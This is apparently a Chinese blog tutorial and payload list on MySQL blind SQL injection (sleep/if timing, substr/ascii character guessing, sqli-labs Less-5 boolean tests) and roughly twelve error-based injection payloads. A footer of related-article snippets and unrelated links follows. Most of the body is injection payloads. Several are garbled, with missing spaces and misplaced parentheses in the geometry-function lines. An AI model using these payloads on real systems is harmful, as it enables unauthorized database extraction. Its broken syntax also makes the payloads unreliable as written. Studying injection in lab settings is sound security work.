SQL注入之盲注

实战过程中,大多情况下很少会有回显,这个时候就要去使用盲注技术

盲注,Blind SQL Injection,听这名字就感觉整个过程就是一个盲目的过程

当注入时,没有任何提示的时候,就改用上盲注

常见函数

  • ascii(str) str是一个字符串参数,返回值为其最左侧字符的ascii码。通过它,我们才能确定特定的字符。
  • substr(str,start,len) 这个函数是取str中从下标start开始的,长度为len的字符串。通常在盲注中用于取出单个字符,交给ascii函数来确定其具体的值。
  • mid(str,1,1) 截取字符串
  • length(str) 这个函数是用来获取str的长度的。这样我们才能知道需要通过substr取到哪个下标。
  • count([column]) 这个函数大家应该很熟,用来统计记录的数量的,其在盲注中,主要用于判断符合条件的记录的数量,并逐个破解。
  • if(condition,a,b) 当condition为true的时候,返回a,当condition为false的时候,返回b。
  • ord() 编码(ascii),将字符转换为ASCII码
  • sleep() 睡眠,用于无回显时,判断延迟

应用

http://192.168.207.128/test/sqlin.php?x=1 and sleep(if((select database()='dvwa'),0,5))

若没猜对数据库名,则会延迟

综合应用

# 用字符验证
union select 1,2,3,sleep(if(mid(table_name,1,1)='a',0,5)) from
information_schema.tables where table_schema=database() limit 0,1
# 用ASCII验证
union select 1,2,3,sleep(if(ord(mid(table_name,1,1))=97,0,5)) from
information_schema.tables where table_schema=database() limit 0,1
# sql注入靶场的第五关
/Less-5/?id=1' and (select length(database())>1) and '1'='1 返回true
/Less-5/?id=1' and (select length(database())>10) and '1'='1 返回false

猜列名类似

盲注实际上就是一个逐步猜解的过程

参考文章:https://www.freebuf.com/articles/web/175049.html

SQL注入之报错注入

报错注入实际上应该算是盲注中的一种,因为实战中用到的也特别多,就单独写一篇

共有大约12中报错注入类型

通过floor报错

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

通过ExtractValue报错

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

通过UpdateXml报错

and 1=(updatexml(1,concat(0x3a,(selectuser())),1))

通过NAME_CONST报错

and exists(select*from (select*from(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)

通过join报错

select * from(select * from mysql.user ajoin mysql.user b)c;

通过exp报错

and exp(~(select * from (select user () ) a) );

通过GeometryCollection()报错

and GeometryCollection(()select *from(select user () )a)b );

通过polygon ()报错

and polygon (()select * from(select user ())a)b );

通过multipoint ()报错

and multipoint (()select * from(select user() )a)b );

通过multlinestring ()报错

and multlinestring (()select * from(selectuser () )a)b );

通过multpolygon ()报错

and multpolygon (()select * from(selectuser () )a)b );

通过linestring ()报错

and linestring (()select * from(select user() )a)b );

SQL注入一点小技巧

= 被过滤时,用 regexp 来代替 = ,用 <> 代替 !=

渗透之路基础 -- SQL进阶(盲注和报错注入)的更多相关文章

  1. sql盲注之报错注入(附自动化脚本)

    作者:__LSA__ 0x00 概述 渗透的时候总会首先测试注入,sql注入可以说是web漏洞界的Boss了,稳居owasp第一位,普通的直接回显数据的注入现在几乎绝迹了,绝大多数都是盲注了,此文是盲 ...

  2. SQL注入--盲注及报错注入

    盲注查询 盲注其实就是没有回显,不能直观地得到结果来调整注入数据,只能通过其他方式来得到是否注入成功,主要是利用了一些数据库内置函数来达到的 布尔盲注 布尔很明显Ture跟Fales,也就是说它只会根 ...

  3. SQL注入汇总(手注,盲注,报错注入,宽字节,二次编码,http头部){10.22、23 第二十四 二十五天}

    首先什么是SQL注入: 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. SQL注入有什么危害? 危害:数据泄露.脱库 ...

  4. 渗透之路基础 -- SQL注入

    目录 mysql注入(上) limit 有两个参数 limit 2,3 表示从2开始查3条 通过MySql内置数据库获取表名 通过MySql内置数据库获取表名对应的列名 mysql注入(中) SQL常 ...

  5. MySQL手注之报错注入

    报错注入: 指在页面中没有一个合适的数据返回点的情况下,利用mysql函数的报错来创造一个显位的注入.先来了解一下报错注入常用的函数 XML:指可扩展标记语言被设计用来传输和存储数据. concat: ...

  6. sql注入之查询方式及报错注入

    当进行sql注入时,有很多注入会出无回显的情况,其中不回显的原因可能是sql语句查询方式的问题导致的,这个时候我们需要用到相关的报错或盲注进行后续操作,同时作为手工注入时,提前了解或预知器sqkl语句 ...

  7. [sql 注入] insert 报错注入与延时盲注

    insert注入的技巧在于如何在一个字段值内构造闭合. insert 报错注入 演示案例所用的表: MariaDB [mysql]> desc test; +--------+--------- ...

  8. 深入浅出带你玩转sqlilabs(五)-布尔/延时盲注与二次注入

    SQL测试-基于布尔,延时盲注 布尔,延时注入常用到的判断语句 regexp regexp '^xiaodi[a-z]' 匹配xiaodi及xiaodi...等 if if(条件,5,0) 条件成立 ...

  9. sqli-labs lesson5-6 布尔盲注 报错注入 延时注入

    LESSON 5: 典型的布尔盲注. 盲注:sql注入过程中,sql语句的执行结果不回显到前端,这个时候就只能用一些别的方法进行判断或者尝试,这个判断或者尝试就叫做盲注.盲注又分为:1.基于布尔SQL ...

随机推荐

  1. TestNG中DataProvider的用法一

    目录 为什么要使用DataProvider DataProvider的常规用法 带Method参数的DataProvider 带ITestContext的DataProvider DataProvid ...

  2. 数据结构-二叉搜索树和二叉树排序算法(python实现)

    今天我们要介绍的是一种特殊的二叉树--二叉搜索树,同时我们也会讲到一种排序算法--二叉树排序算法.这两者之间有什么联系呢,我们一起来看一下吧. 开始之前呢,我们先来介绍一下如何创建一颗二叉搜索树. 假 ...

  3. 调测Onvif事件总结解决办法

    主要在调测事件用例的过程中,发现了大量的信息,和未曾碰到的场景和非法错误等信息,先总结解决办法如下: (1)测试过程中发现以前的一个难题解决了,原先在生成soap空间命名的文件中有部分需要下载,离线生 ...

  4. apicloud 开发环境搭建

     之前做过appcan 手机应用的开发,工作需要切换的apicloud , 开发环境的的搭建是开发的第一步,let's go 1新建应用 step1  注册账号 注册apicloud 账号:https ...

  5. java学习-NIO(三)Channel

    通道(Channel)是java.nio的第二个主要创新.它们既不是一个扩展也不是一项增强,而是全新.极好的Java I/O示例,提供与I/O服务的直接连接.Channel用于在字节缓冲区和位于通道另 ...

  6. 算法与数据结构基础 - 折半查找(Binary Search)

    Binary Search基础 应用于已排序的数据查找其中特定值,是折半查找最常的应用场景.相比线性查找(Linear Search),其时间复杂度减少到O(lgn).算法基本框架如下: //704. ...

  7. io流处理文件夹复制功能(java代码)

    拷贝某个目录下得所有文件拷指定位置 思想归纳 首先我们需要做的先获取到资源文件夹路径,这里我们先在程序中写死,然后我们还需要一个目标文件夹就是你需要拷贝到哪里.有了这两个文件夹我就可以进行复制了 然后 ...

  8. 正则表达式之Matcher类中group方法

    前言 同事把一个excel表给我,里面的数据大概有几千的样子吧.自己需要把里面的数据一个一个拿出来做一个http请求,对得到的结果进行过滤,然后再写到上面去.这是就涉及到用脚本来进行操作了,于是自己搞 ...

  9. Eureka 缓存结构以及服务感知优化

    目录 Eureka-Client获取注册信息 Eureka-Server管理注册信息 服务感知优化 果然好记性不如烂笔头,再简单的东西不记录下来总是会忘的! 本文首先会分析eureka中的缓存架构.并 ...

  10. 对平底锅和垃圾的O奖论文的整理和学习[1](2018-02-08发布于知乎)

    今天和杉杉同志在Pacific Coffee坐了0.4天,目前两人都处于放空状态. 这种天气有暖气真的太棒了. 我今天看的论文是这两篇: MCM2013B题O奖论文MCM2016B题O奖论文 先说第一 ...